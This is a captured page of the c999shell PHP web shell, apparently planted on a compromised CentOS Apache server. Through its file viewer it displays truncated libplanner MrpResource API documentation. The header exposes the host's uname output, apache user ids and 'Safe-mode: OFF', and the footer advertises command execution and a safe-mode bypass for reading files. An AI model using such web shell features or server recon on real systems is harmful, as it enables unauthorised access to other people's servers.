Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/libplanner/ drwxr-xr-x |
Viewing file: MrpResource.html (26.16 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Synopsis#include <libplanner/planner.h> MrpResourcePriv; MrpResource; enum MrpResourceType; MrpResource* mrp_resource_new (void); const gchar* mrp_resource_get_name (MrpResource *resource); void mrp_resource_set_name (MrpResource *resource, const gchar *name); void mrp_resource_assign (MrpResource *resource, MrpTask *task, gint units); GList* mrp_resource_get_assignments (MrpResource *resource); GList* mrp_resource_get_assigned_tasks (MrpResource *resource); gint mrp_resource_compare (gconstpointer a, gconstpointer b); MrpCalendar* mrp_resource_get_calendar (MrpResource *resource); void mrp_resource_set_calendar (MrpResource *resource, MrpCalendar *calendar); Properties"calendar" gpointer : Read / Write "cost" gfloat : Read / Write "email" gchararray : Read / Write "group" MrpGroup : Read / Write "name" gchararray : Read / Write "note" gchararray : Read / Write "short-name" gchararray : Read / Write "type" gint : Read / Write "units" gint : Read / Write Signals"assignment-added" void user_function (MrpResource *mrpresource, MrpAssignment *arg1, gpointer user_data) : Run last "assignment-removed" void user_function (MrpResource *mrpresource, MrpAssignment *arg1, gpointer user_data) : Run last DetailsMrpResourcePrivtypedef struct _MrpResourcePriv MrpResourcePriv; A private struct for internal use only. The definition of this structure is not publically available. enum MrpResourceTypetypedef enum { MRP_RESOURCE_TYPE_NONE, MRP_RESOURCE_TYPE_WORK, MRP_RESOURCE_TYPE_MATERIAL } MrpResourceType; The type of the resource, work or material. mrp_resource_new ()MrpResource* mrp_resource_new (void); Creates a new empty resource.
mrp_resource_get_name ()const gchar* mrp_resource_get_name (MrpResource *resource);
Retrives the name of
mrp_resource_set_name ()void mrp_resource_set_name (MrpResource *resource, const gchar *name);
Sets the name of
mrp_resource_assign ()void mrp_resource_assign (MrpResource *resource, MrpTask *task, gint units);
Assigns
mrp_resource_get_assignments ()GList* mrp_resource_get_assignments (MrpResource *resource); Retrieves the assignments that this resource has. If caller needs to manipulate the returned list, a copy of it needs to be made.
mrp_resource_get_assigned_tasks ()GList* mrp_resource_get_assigned_tasks (MrpResource *resource);
Retrieves a list of all the tasks that this resource is assigned to. It is
basically a convenience wrapper around
mrp_resource_compare ()gint mrp_resource_compare (gconstpointer a, gconstpointer b); Comparison routine for resources. It is suitable for sorting, and only compares the resource name.
mrp_resource_get_calendar ()MrpCalendar* mrp_resource_get_calendar (MrpResource *resource);
Retrieves the calendar that is used for
mrp_resource_set_calendar ()void mrp_resource_set_calendar (MrpResource *resource, MrpCalendar *calendar);
Sets the calendar to use for
Property Details
The "
|
mrpresource : |
the object which received the signal. |
arg1 : |
|
user_data : |
user data set when the signal handler was connected. |
void user_function (MrpResource *mrpresource, MrpAssignment *arg1, gpointer user_data) : Run last
mrpresource : |
the object which received the signal. |
arg1 : |
|
user_data : |
user data set when the signal handler was connected. |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0088 ]-- |